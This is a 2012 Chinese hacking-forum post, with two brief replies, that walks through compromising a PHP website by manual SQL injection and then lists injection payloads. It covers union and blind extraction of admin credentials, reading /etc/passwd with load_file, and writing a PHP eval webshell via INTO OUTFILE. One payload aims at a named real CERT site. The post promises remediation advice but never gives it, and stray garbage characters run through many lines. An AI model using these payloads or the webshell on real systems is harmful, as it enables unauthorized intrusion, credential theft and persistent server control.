中国网络渗透测试联盟

标题: 手工注入拿下一站 [打印本页]

作者: admin    时间: 2012-9-23 14:47
标题: 手工注入拿下一站
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~5 w' p& d$ t- O7 M& f3 l
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?2 E$ K# o& {& d( Q& Z# P  Y1 x% P
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。8 R; ~3 o0 E$ M2 \% o0 }
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)4 A' N7 T1 r! q+ a4 f
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)# j; Y- g" h" v4 H' X
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:( m5 v: O8 h$ |
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
' t* t' u2 e) ]8 |3 d+ c/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
. i" c/ Q( `1 T+ C3 f6 _! \                         ! S+ u$ T1 s3 s& f
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,! @3 M* w: v7 d- t. E
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
0 {8 d2 V  C; I7 [. G4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息/ a& a/ C( C" \9 ^0 b
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。. ~. y# [, c7 ~2 z4 Q- u" I) U6 k3 I
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,: x6 V) c* Y3 p% l) F
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。" g2 Y6 z' h. k
我就用的是第二个思路,, w8 y( O1 }7 x& H- s
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
' p- ^8 F+ N7 M/ z4 _4 J6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,5 h% A' U) Z- `' Z
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--  p  T* l. ?0 R: n. ^! F
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。9 F# Z+ b) {# B% A. g/ f
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????0 Z+ V- N+ x! ?3 k  C8 N: f0 y1 y: f
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....4 y+ i4 \: A( _0 E- C
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --6 g& {- ~+ ?7 h: c5 y- d
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,/ n) q- D2 Z  a" k) G( r
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
7 @3 [. w8 g0 O- u  {2 [* b# V- V5 r下面是一些很普遍注入方式资料:
$ V" R9 ^2 Y9 B% D+ |8 @注意:对于普通的get注入,如果是字符型,前加' 后加 and ''=': {0 K) i# `- a% X1 ?
拆半法3 ]/ K+ i: y# O+ n
######################################- h2 @+ U3 n* f0 H
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。# P7 ^7 i/ o7 t8 ^0 _' W
and exists (select * from admin)
7 u! |* H( ~3 C9 f4 V: `. Q1 Iand exists(select id from admin)# K% \0 r2 I: {  C/ L/ Z" J% C
and exists(select id from admin where id=1)
. w2 b6 p4 }/ X2 Vand exists(select id from admin where id>1)
/ z, u7 a+ G$ K; ~$ r* }0 t然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 ! y! R: h+ V1 H7 z0 E* V0 p% f
and exists (select username from admin)
4 r+ W  }: L7 x9 a7 {+ wand exists (select password from admin)
8 v1 ^- f8 C8 aand exists (select id from admin where len(username)<10 and id=1)
& R& z+ G. e) {* G2 Q* l% ]! fand exists (select id from admin where len(username)>5 and id=1)& }& u  l( g4 W+ b* S" ]% N
and exists (select id from admin where len(username)=6 and id=1)2 T$ L4 a4 M# {, y
and exists (select id from admin where len(password)<10 and id=1)0 Q& q3 h" k* {6 a1 N6 c# E
and exists (select id from admin where len(password)>5 and id=1)
9 ]7 Q- T2 G3 M" S1 a) t% Mand exists (select id from admin where len(password)=7 and id=1)
" |- a: j+ l) q6 Jand (select top 1 asc(mid(username,1,1)) from admin)=97
8 ]0 N3 X! Z8 K+ O9 J返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。* ]! N" k3 O; ^
猜第二位把username,1,1改成username,2,1就可以了。% B; E# @  F; z+ m- ?1 ]5 F/ _
猜密码把username改成password就OK了: B. g/ d9 L  x' `6 ^! h* `( ^
##################################################
8 A0 W2 Z* i3 {搜索型注入
2 w) F. a' ^0 q- F/ u! D$ Q##################################
; X6 d) e$ c" b& q%' and 1=1 and '%'='' S4 n8 Y# T. K! U* I- i. F( d7 b! O
%' and exists (select * from admin) and '%'='& {0 D0 `; M2 M( f8 d( T; w1 i
%' and exists(select id from admin where id=1) and '%'='
6 \) }9 g8 }0 w%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
" p6 B8 ^* G$ H) K9 C%' and exists (select id from admin where len(password)=7 and id=1) and '%'='! @: p& A# O" ]0 H' K
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='2 z+ L! |# @( ^
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='; B/ X4 F( q8 N0 k. S9 c
对于MSSQL数据库,后面可以吧 and '%'='换成--
8 ^, q+ v5 n3 S还有一点搜索型注入也可以使用union语句。! \( P: M4 d3 U8 Y/ w
########################################################
7 a$ i+ _  G; m联合查询。
& z% o, e' F. a: C0 N- J* I#####################################
5 B8 R4 N; F( w* Y. x& korder by 10+ x. L4 G* a* f6 d) n6 z
and 1=2 union select 1,2,3,4,5,6,7,8,9,10$ I' i7 c, ^; l/ D9 t- _
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
7 [% }1 g' F$ b+ a% i4 i7 F1 C3 Mand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
: q' ~6 \9 q) y2 J) D* I% P- _8 s很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)2 k& g' q' J/ }4 t( n; T) G8 l
###################################
3 R7 q8 j, U! \. G. y& Bcookie注入
8 z4 ~0 f& Y: ~6 P2 ^1 A0 l, Q% z4 j###############################6 }; z: r( d, J, ]+ G
http://www.******.com/shownews.asp?id=127: A9 y& J( c6 ^) o
http://www.******.com/shownews.asp
' f' A, d! {4 ealert(="id="+escape("127"));
) i$ O8 b+ R$ }9 {8 [$ |1 Jalert(="id="+escape("127 and 1=1"));
' N% ]- M& h. B+ ?' Qalert(="id="+escape("127 order by 10"));7 K+ [) Q( e$ \. z2 T
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));7 R) z4 J7 D* |6 ]
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));# o# J# G$ [, _
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
  c$ Z: f& Y# x7 @5 @###################################; a) c0 B1 a1 G% H4 s8 c7 x
偏移注入4 V4 x# G- ]' ]  e7 y; L8 d
###########################################################
# e% C' H& x6 Z( aunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin& t3 T. F/ _7 X- U' m9 c
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin" u! B! ?$ \1 y+ t5 {: f8 f
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
9 V# O) `3 T0 x4 aunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
1 w% Y3 R" s. f2 K8 Xunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)4 Y) {4 V4 v5 x5 i/ {+ W6 q4 e
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)4 @: q( P5 E# D) z, y7 t
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
/ ]3 I; g4 ?" }5 va.id=d.id)6 M- ]. \- y" N! x9 c
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)* N; U. N1 M7 m; M  [
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
5 c7 C: ?' v2 q/ h' g6 W' i  - o( |0 l" q) v4 N
============================================================================================================( k; N+ X; s+ F/ N* j4 p
1.判断版本+ e+ Q8 G% {! a/ E% I3 k
and ord(mid(version(),1,1))>51" Q# a# m! N, I6 ~0 k* D8 _  C
返回正常,说明大于4.0版本,支持ounion查询0 g( V( W7 v0 B- R" Y- o- U
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
$ b: k$ P! ~/ p  oand 2=4 union select 1,2,3,4,5,6,7,8,9--, G9 q/ n8 C9 t: C! f" i2 `
3.查看数据库版本及当前用户,
- c3 |6 i) j8 c' [and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
8 |! C) M1 N# Y8 S. ]数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,3 D( E3 s" ]5 ?& Z
4.判断有没有写权限
6 z9 f. v- q# Y% j8 Qand (select count(*) from MySQL.user)>0-- 9 z% ?2 H; l' o. C/ V
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1) I! H$ P& i% r
用不了这个命令,就学习土耳其黑客手法,如下
4 @# ^3 R; R8 `4 r# q0 J  w$ |( ~and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
+ ]' `( T% }8 T# a, T; d0 f6.爆表,爆库
1 e. y4 c6 J& E- }0 ?and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
9 E7 }, b: v3 ?. d9 m- }% z3 }7.爆列名,爆表
7 t# W! P: I! nand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--) X/ V$ I7 |2 J5 `8 ~: f- a
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。2 S) N4 J0 j8 F+ `7 k$ B
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
( |) q- p8 U, g9 R5 [0 X9.爆字段内容3 `, x/ ?2 \9 m2 \
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--5 L4 |- h# a- r5 g" o
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
作者: xiancda    时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~
作者: wuyu    时间: 2012-9-25 18:53
谢谢分享,学习思路啊




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2